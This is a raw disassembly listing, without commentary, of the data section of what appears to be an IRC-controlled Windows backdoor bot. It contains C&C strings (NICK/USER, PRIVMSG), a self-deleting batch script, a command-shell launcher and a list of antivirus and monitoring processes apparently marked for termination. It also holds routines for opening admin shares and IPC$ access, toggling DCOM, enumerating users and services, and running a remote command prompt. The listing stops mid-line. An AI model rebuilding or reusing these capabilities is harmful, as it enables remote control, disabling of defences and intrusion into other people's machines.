; DATA XREF: ___:00438410o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043840Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438408o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438404o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438400o align 4 aJanno db 'janno',0 ; DATA XREF: ___:004383FCo align 10h aBunty db 'bunty',0 ; DATA XREF: ___:004383F8o align 4 aHeval db 'heval',0 ; DATA XREF: ___:004383F4o align 10h aCme db 'cme',0 ; DATA XREF: ___:004383F0o aMarcy db 'marcy',0 ; DATA XREF: ___:004383ECo align 4 aTalika db 'talika',0 ; DATA XREF: ___:004383E8o align 4 aShez db 'Shez',0 ; DATA XREF: ___:004383E4o align 4 aKen db 'ken',0 ; DATA XREF: ___:004383E0o aFlexster db 'flexster',0 ; DATA XREF: ___:004383DCo align 4 aKoko db 'koko',0 ; DATA XREF: ___:004383D8o align 4 aMale db 'male',0 ; DATA XREF: ___:004383D4o align 4 aSwin db 'swin',0 ; DATA XREF: ___:004383D0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:004383CCo aKrizha db 'KRIZHA',0 ; DATA XREF: ___:004383C8o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:004383C4o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:004383C0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:004383BCo aFarooq db 'farooq',0 ; DATA XREF: ___:004383B8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:004383B4o align 4 aM_0: ; DATA XREF: ___:004383B0o ; ___:004386FCo unicode 0, <M>,0 word_438E18 dw 4Eh ; DATA XREF: sub_419E7A+38r ; ___:004383ACo align 4 dword_438E1C dd 42h ; DATA XREF: ___:004383A8o dword_438E20 dd 56h ; DATA XREF: ___:004383A4o dword_438E24 dd 43h ; DATA XREF: ___:004383A0o dword_438E28 dd 58h ; DATA XREF: ___:0043839Co ; ___:00438730o dword_438E2C dd 5Ah ; DATA XREF: ___:00438398o dword_438E30 dd 4Ch ; DATA XREF: ___:00438394o dword_438E34 dd 4Bh ; DATA XREF: ___:00438390o dword_438E38 dd 4Ah ; DATA XREF: ___:0043838Co dword_438E3C dd 48h ; DATA XREF: ___:00438388o dword_438E40 dd 47h ; DATA XREF: ___:00438384o dword_438E44 dd 46h ; DATA XREF: ___:00438380o ; ___:004386F8o dword_438E48 dd 44h ; DATA XREF: ___:0043837Co dword_438E4C dd 53h ; DATA XREF: ___:00438378o dword_438E50 dd 50h ; DATA XREF: ___:00438370o dword_438E54 dd 4Fh ; DATA XREF: ___:0043836Co dword_438E58 dd 55h ; DATA XREF: ___:00438364o word_438E5C dw 59h ; DATA XREF: sub_41A19E+38r ; ___:00438360o align 10h dword_438E60 dd 54h ; DATA XREF: ___:0043835Co dword_438E64 dd 52h ; DATA XREF: ___:00438358o dword_438E68 dd 45h ; DATA XREF: ___:00438354o dword_438E6C dd 57h ; DATA XREF: ___:00438350o dword_438E70 dd 51h ; DATA XREF: ___:0043834Co dword_438E74 dd 62h ; DATA XREF: ___:00438340o ; ___:00438634o ... dword_438E78 dd 78h ; DATA XREF: ___:00438334o ; ___:0043868Co dword_438E7C dd 7Ah ; DATA XREF: ___:00438330o ; ___:00438694o ... dword_438E80 dd 68h ; DATA XREF: ___:00438320o ; ___:0043864Co dword_438E84 dd 67h ; DATA XREF: ___:0043831Co ; ___:00438648o ... dword_438E88 dd 66h ; DATA XREF: ___:00438318o ; ___:00438644o dword_438E8C dd 79h ; DATA XREF: ___:004382FCo ; ___:00438690o dword_438E90 dd 77h ; DATA XREF: ___:004382ECo ; ___:00438688o dword_438E94 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177D0+B1o dword_438EA0 dd 323334h ; DATA XREF: sub_4177D0+79o dword_438EA4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177D0+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BB+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADE+BCo ; sub_417ADE+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418294+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41835A+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41835A+48o align 4 unk_43901C db 2Dh ; - ; DATA XREF: sub_4184E2+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43904C db 2Dh ; - ; DATA XREF: sub_4184E2+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_439074 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E2+5Co dd 65726165h, 64h off_439090 dd offset aAdd ; DATA XREF: sub_4186C2+60r ; sub_418A99+51r ... ; "Add" off_439094 dd offset aAdded ; DATA XREF: sub_4186C2+2Dr ; sub_418A99+83r ... ; "Added" dword_439098 dd 0 ; DATA XREF: sub_4186C2+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 439104h, 4390FCh, 2, 4390F0h, 4390E4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004390C4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004390C0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004390B8o aStart_0 db 'Start',0 ; DATA XREF: ___:004390B4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004390ACo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004390A8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004390A0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0043909Co align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_439094o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439090o unk_439158 db 2Dh ; - ; DATA XREF: sub_4186C2+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_43917C db 2Dh ; - ; DATA XREF: sub_4186C2+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_4391A8 db 2Dh ; - ; DATA XREF: sub_4186C2+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DE:loc_4188E8o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DE:loc_4188E1o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DE:loc_4188DAo db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DE:loc_4188D3o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DE:loc_4188C5o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DE:loc_4188BEo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DE:loc_4188B7o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DE:loc_41888Co align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DE:loc_418885o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DE:loc_41887Eo db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DE:loc_418877o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DE:loc_41884Co db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DE:loc_418842o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DE:loc_418838o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DE:loc_418824o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895C+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895C:loc_418A28o aStarting db ' Starting',0 ; DATA XREF: sub_41895C:loc_418A21o aStoping db ' Stoping',0 ; DATA XREF: sub_41895C:loc_418A1Ao aRunning db ' Running',0 ; DATA XREF: sub_41895C:loc_418A13o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895C:loc_418A0Co aPausing db ' Pausing',0 ; DATA XREF: sub_41895C:loc_418A05o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895C:loc_4189FEo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895C+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895C+25o align 4 unk_4396FC db 2Dh ; - ; DATA XREF: sub_418A99+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439720 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A99+8Ao dd 73252720h, 27h unk_43973C db 2Dh ; - ; DATA XREF: sub_418A99+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8F+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8F+B5o unk_439788 db 2Dh ; - ; DATA XREF: sub_418C8F+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8F+26o align 4 unk_4397E8 db 2Dh ; - ; DATA XREF: sub_418DB0+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439810 db 2Dh ; - ; DATA XREF: sub_418DB0+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439840 db 2Dh ; - ; DATA XREF: sub_418DB0+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439860 db 2Dh ; - ; DATA XREF: sub_418EF7+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF7+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF7+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF7+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF7+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF7:loc_419016o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF7:loc_41900Fo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF7:loc_419008o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF7+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF7+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF7+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo align 4 unk_439A1C db 2Dh ; - ; DATA XREF: sub_4192E0+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192E0+BEo align 10h unk_439A50 db 2Dh ; - ; DATA XREF: sub_4192E0+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_419460:loc_419544o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_419460+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_419460:loc_41950Bo aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_419460:loc_4194FDo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419460:loc_4194C3o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_419460:loc_4194AFo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo align 4 dword_439D58 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419594+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439D84 db 2Dh ; - ; DATA XREF: sub_419594+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h dd 66737365h, 796C6C75h db 0 align 4 dd 7530h off_439DB0 dd offset aRegedit_exe ; DATA XREF: sub_4196BD+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439EB8 dd offset dword_439EAC dd offset dword_439EA0 dd offset dword_439E94 dd offset dword_439E88 dd offset dword_439E7C dd offset dword_439E6C dd offset dword_439E60 dd offset dword_439E54 dd offset dword_439E48 dd offset dword_439E3C dd offset dword_439E2C dd offset dword_439E20 dd offset dword_439E10 dword_439E10 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BD+ECo ; ___:00439E0Co dword_439E20 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o dword_439E2C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439E04o dword_439E3C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439E00o dword_439E48 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo dword_439E54 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o dword_439E60 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o dword_439E6C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439DF0o dword_439E7C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439DECo dword_439E88 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439DE8o dword_439E94 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439DE4o dword_439EA0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439DE0o dword_439EAC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439DDCo dword_439EB8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439DD8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439DCCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439DC8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439DC4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439DC0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439DBCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439DB8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439DB4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439DB0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BD+191o align 4 unk_439F68 db 2Dh ; - ; DATA XREF: sub_4198EC:loc_419973o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_439F8C db 2Dh ; - ; DATA XREF: sub_4198EC+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_439FB0 db 2Dh ; - ; DATA XREF: sub_4198EC+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419C42o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A010 db 2Dh ; - ; DATA XREF: sub_419B10+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_43A038 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419BF6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_43A068 db 2Dh ; - ; DATA XREF: sub_419C65+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A09C db 2Dh ; - ; DATA XREF: sub_419C65+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_43A0C0 dd offset dword_43A0F8 ; DATA XREF: sub_419E7A+1B3o ; sub_41A19E+17Ao align 8 dd offset dword_43A0F0 align 10h off_43A0D0 dd offset dword_43A0EC ; DATA XREF: sub_41A19E+1E3o dd offset off_43A0E8 dd offset dword_43A0E4 dd offset off_43A0E0 off_43A0E0 dd offset dword_5C3A44 ; DATA XREF: sub_419E7A+217o ; ___:0043A0DCo dword_43A0E4 dd 2444h ; DATA XREF: ___:0043A0D8o off_43A0E8 dd offset byte_5C3A43 ; DATA XREF: ___:0043A0D4o dword_43A0EC dd 2443h ; DATA XREF: ___:off_43A0D0o dword_43A0F0 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A0C8o dword_43A0F8 dd 24435049h, 0 ; DATA XREF: ___:off_43A0C0o dword_43A100 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2E5o ; sub_41A19E+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A130 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_43A158 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A0DCo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A184 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_43A1A8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A049o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A1D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_43A1F8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FACo ; sub_41A19E:loc_41A2CCo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A228 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FA5o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A264 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419F87o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_43A298 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo ; sub_41A19E+EDo align 4 dword_43A2E8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+91o ; sub_41A19E+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A318 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E7A:loc_419EE7o dd 62617369h, 2E64656Ch, 0 dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E7A+54o ; sub_41A19E+54o align 4 dword_43A368 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19E+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19E+219o dword_43A398 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A33Do ; sub_41A19E:loc_41A40Eo aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A3C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+198o ; sub_41A19E+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A3E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2C5o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A41C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2A7o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A454 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A494 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19E:loc_41A20Bo dd 6C62616Eh, 2E6465h dword_43A4B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_43A508 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AF+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AF+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AF+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AF+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AF+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AF+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AF+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AF+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AF+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: 